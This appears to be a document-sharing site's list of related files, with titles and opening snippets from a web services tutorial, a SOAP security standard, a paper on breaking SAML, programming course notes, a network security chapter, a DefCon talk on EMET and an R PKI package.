DEVELOPING CONTRACT - DRIVEN WEB SERVICES USING JDEVELOPER. The purpose of this tutorial is to develop a java web service using a top-down approach. DEVELOPING CONTRACT - DRIVEN WEB SERVICES USING JDEVELOPER Purpose: The purpose of this tutorial is to develop a java web service using a top-down approach. Topics: This tutorial covers the following topics:

More information

Web Services Security SOAP Messages with Attachments (SwA) Profile 1.1

Web Services Security SOAP Messages with Attachments (SwA) Profile 1.1 1 2 3 4 Web Services Security SOAP Messages with Attachments (SwA) Profile 1.1 OASIS Standard, 1 February 2006 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Document identifier:

More information

On Breaking SAML: Be Whoever You Want to Be

On Breaking SAML: Be Whoever You Want to Be On Breaking SAML: Be Whoever You Want to Be Juraj Somorovsky 1, Andreas Mayer 2, Jörg Schwenk 1, Marco Kampmann 1, and Meiko Jensen 1 1 Horst-Görtz Institute for IT-Security, Ruhr-University Bochum 2 Adolf

More information

AP Computer Science Java Subset

AP Computer Science Java Subset APPENDIX A AP Computer Science Java Subset The AP Java subset is intended to outline the features of Java that may appear on the AP Computer Science A Exam. The AP Java subset is NOT intended as an overall

More information

Phys4051: C Lecture 2 & 3. Comment Statements. C Data Types. Functions (Review) Comment Statements Variables & Operators Branching Instructions

Phys4051: C Lecture 2 & 3. Comment Statements. C Data Types. Functions (Review) Comment Statements Variables & Operators Branching Instructions Phys4051: C Lecture 2 & 3 Functions (Review) Comment Statements Variables & Operators Branching Instructions Comment Statements! Method 1: /* */! Method 2: // /* Single Line */ //Single Line /* This comment

More information

For the next three questions, consider the class declaration: Member function implementations put inline to save space.

For the next three questions, consider the class declaration: Member function implementations put inline to save space. Instructions: This homework assignment focuses on basic facts regarding classes in C++. Submit your answers via the Curator System as OQ4. For the next three questions, consider the class declaration:

More information

Chapter 8. Network Security

Chapter 8. Network Security Chapter 8 Network Security Cryptography Introduction to Cryptography Substitution Ciphers Transposition Ciphers One-Time Pads Two Fundamental Cryptographic Principles Need for Security Some people who

More information

EMET 4.0 PKI MITIGATION. Neil Sikka DefCon 21

EMET 4.0 PKI MITIGATION. Neil Sikka DefCon 21 EMET 4.0 PKI MITIGATION Neil Sikka DefCon 21 ABOUT ME Security Engineer on MSRC (Microsoft Security Response Center) I look at 0Days EMET Developer I enjoy doing security research on my free time too:

More information

Package PKI. February 20, 2013

Package PKI. February 20, 2013 Package PKI February 20, 2013 Version 0.1-1 Title Public Key Infrastucture for R based on the X.509 standard Author Maintainer Depends R (>=

More information